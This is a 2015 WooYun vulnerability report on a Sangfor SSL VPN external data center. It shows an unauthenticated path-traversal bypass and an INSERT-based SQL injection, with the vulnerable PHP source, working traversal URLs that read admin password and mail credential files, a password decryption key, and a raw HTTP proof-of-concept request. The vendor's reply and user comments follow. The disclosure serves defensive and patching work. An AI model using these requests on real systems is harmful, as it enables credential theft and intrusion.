当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098982

漏洞标题:深信服SSL VPN&VSP外置数据中心任意文件下载和SQL注射漏洞

相关厂商:深信服

漏洞作者: f4ckbaidu

提交时间:2015-03-01 20:50

修复时间:2015-05-31 12:00

公开时间:2015-05-31 12:00

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-01: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经确认,细节仅向厂商公开
2015-03-05: 细节向第三方安全合作伙伴开放
2015-04-26: 细节向核心白帽子及相关领域专家公开
2015-05-06: 细节向普通白帽子公开
2015-05-16: 细节向实习白帽子公开
2015-05-31: 细节向公众公开

简要描述:

我来促使研发哥加班了

详细说明:

一、任意文件下载
问题文件:\src\module\opt\downloadSecFile.php

<?php
// 解码
$url = rawurldecode($_REQUEST['url']);
// 处理浏览器自动解码
$name = rawurlencode($_REQUEST['name']);
$dirArr = explode("/", $url);
if(!is_array($dirArr) || strcasecmp("UploadFiles", $dirArr[1]) != 0 || in_array("..", $dirArr))
{
header("Content-type: text/html; charset=utf-8");
echo "下载URL非法!";
exit;
}
// 提示下载文件
header("Content-Disposition:attachment;filename=$name");
header("Expires: 0");
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
// 读取下载的文件
$root = $_SERVER['DOCUMENT_ROOT'];
$path = $root.$url;
@readfile($path);
?>


没有include init.php,无需登录可以直接访问
问题代码:

$dirArr = explode("/", $url);
if(!is_array($dirArr) || strcasecmp("UploadFiles", $dirArr[1]) != 0 || in_array("..", $dirArr))


呵呵,windows下穿越目录可以这么干:

C:\Program Files>cd ..\
C:\>


1.png


轻松bypass,可以用来读取服务器上任意文件(当然仅限于安装目录所在盘符下的文件)
比如说:
1、脱裤子

https://IP/src/module/opt/downloadSecFile.php?url=/UploadFiles/..\./..\./mysql/data/sinforglobaldb/sys_adt.MYD


sys_adt.MYD里保存了系统管理员帐号密码,参考之前发的漏洞: WooYun: 深信服VSP外置数据中心getshell
红框部分合并就是Admin帐号加密后的密码,去掉最后一位,key为tjf解密如下:

2.png


3.png


2、读取global_admin.ini直接登录
参考漏洞: WooYun: 深信服SSL VPN外置数据中心敏感信息泄漏&SQL注入漏洞可导致getshell

https://IP/src/module/opt/downloadSecFile.php?url=/UploadFiles/..\/global_admin.ini


4.png


3、获取邮箱帐号密码

https://IP/src/module/opt/downloadSecFile.php?url=/UploadFiles/..\/src/inc/conf/mailSvr.conf


5.png


二、SQL注入(insert into类型,需要登录)
问题代码在DBMantain.class.php里:

private function DBBackup($nodeid, $desc=null)
{
if(!is_numeric($nodeid))
{
return false;
}
if(check_db_busy())
{
$this->errNo = CAN_NOT_RESTART_MYSQL;
return false;
}
$svr = new devservices();
$nodeObj= new NodeMantain();

/* 检测节点是否存在 */
if( ! $nodeObj->chkDbIntegraty($nodeid) )
{
$this->errNo = ERR_MISS_OR_EXISTS_NODEID;
return false;
}
/* 备份目录不存在则创建 */
$dbpath = $this->GetNodeDBPath($nodeid); // 得到数据库目录
if(false === $dbpath)
{
return false;
}
if( ! file_exists($this->backpath) ) //从配置文件里读出来的是GBK,编码正常
{
if( ! createFolder($this->backpath, TRUE) )
{
$this->errNo = CREATE_DIR_FAILURE;
return false;
}
}
/* 计算可用空间 */
//$this->backpath = iconv ("UTF-8", "GBK", $this->backpath );//由于NT内核,在接口上用的是GBK的字符集,所以得转成GBK
if( disk_free_space($this->backpath) < $this->dirSpace($dbpath) )
{
$this->errNo = NO_ENOUGH_SPACE;
return false;
}

/* 备份文件含路径 */
$backname = $this->createBackName($nodeid);
$backpath = dirTrans($this->backpath.'/'.$backname);

/* 插入备份信息记录 */
$this->conn->OpenDb();
$dbmd5 = $this->dbMD5($backpath); //计算MD5时路径为GBK编码
$backpath = iconv ("GBK","UTF-8", $backpath ); //转成UTF-8存到数据库中
$time = date("Y-m-d h:i:s");
$sql = "INSERT INTO db_backup(Descrption, backname, BackPath, NodeId, Md5digest, time)
VALUES('$desc', '$backname', '$backpath', $nodeid, '$dbmd5', '$time')";
if( ! $this->conn->query_unbuffered($sql) )
{
$this->errNo = DB_INSERT_FAILURE;
return false;
}
......省略
}


$desc没有过滤可引入单引号形成insert型注入,POC如下:

POST https://192.168.222.101/src/module/opt/optsysconf.php?config_type=6&rnd=0.33210583170875907 HTTP/1.1
Host: 192.168.222.101
Connection: keep-alive
Content-Length: 29
Origin: https://192.168.222.101
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: https://192.168.222.101/src/module/view/datalogbackup.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: lang_cookie=zh_CN; lang_cookie=zh_CN; PHPSESSID=kkdi4f3r6iq7dkesnjji4hgbf5
id=1&descrption=ffffffffffff' <--单引号在此


6.png


7.png

漏洞证明:

4.png


6.png


7.png

修复方案:

版权声明:转载请注明来源 f4ckbaidu@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-03-02 11:59

厂商回复:

感谢白帽子提出的问题!经过内部验证:(1)此外置数据中心主要用于存放VPN的操作日志,不涉及VPN的权限安全问题;(2)外置数据中心基本上部署在客户内网,外网无法访问该数据中心,因此该漏洞较难利用。
综合考虑以上两点内容,我们将漏洞降为中级。我们的工程师正在紧急修复该漏洞,近期将发布补丁包。启动了自动更新功能的客户可通过在线升级的方式自动修复此漏洞,另外,我们的客服部门也将发布公告推动更新。

最新状态:

2015-03-02:得知漏洞信息后,深信服工程师已第一时间对SSL产品线全部版本及其外置数据中心进行排查, 此隐患只存在于外置数据中心,不会对SSL VPN设备自身的稳定性和安全性造成任何影响。并且外置数据中心一般部署于内网,无法通过互联网进行访问,因此来自互联网利用此漏洞进行攻击威胁的可行性较低。而未安装使用外置数据中心的设备,完全不受此漏洞影响。特此声明。


漏洞评价:

评论

  1. 2015-03-01 22:18 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    目测洞主好人

  2. 2015-03-02 00:19 | Master ( 路人 | Rank:29 漏洞数:10 )

    要火,一大批设备要被爆菊了

  3. 2015-03-02 00:23 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    @Master 外置dc不是设备本身,手上没设备可分析

  4. 2015-03-02 00:26 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    @xsser 你猜对了,经常被妹纸发好人卡的屌丝无奈飘过~

  5. 2015-03-05 15:24 | 孔卡 ( 实习白帽子 | Rank:42 漏洞数:12 | 我已经过了那个餐桌上只有一条鸡腿就一定能...)

    外置数据中心源码是深信服的 可以全他们官网下载 这个没有啥授权问题

  6. 2015-03-05 22:50 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    @f4ckbaidu 嘿嘿,rank等待确认

  7. 2015-03-06 10:24 | Master ( 路人 | Rank:29 漏洞数:10 )

    @f4ckbaidu 我看到标题一个 & 以为一大波VPN要被爆菊呢。坐等公开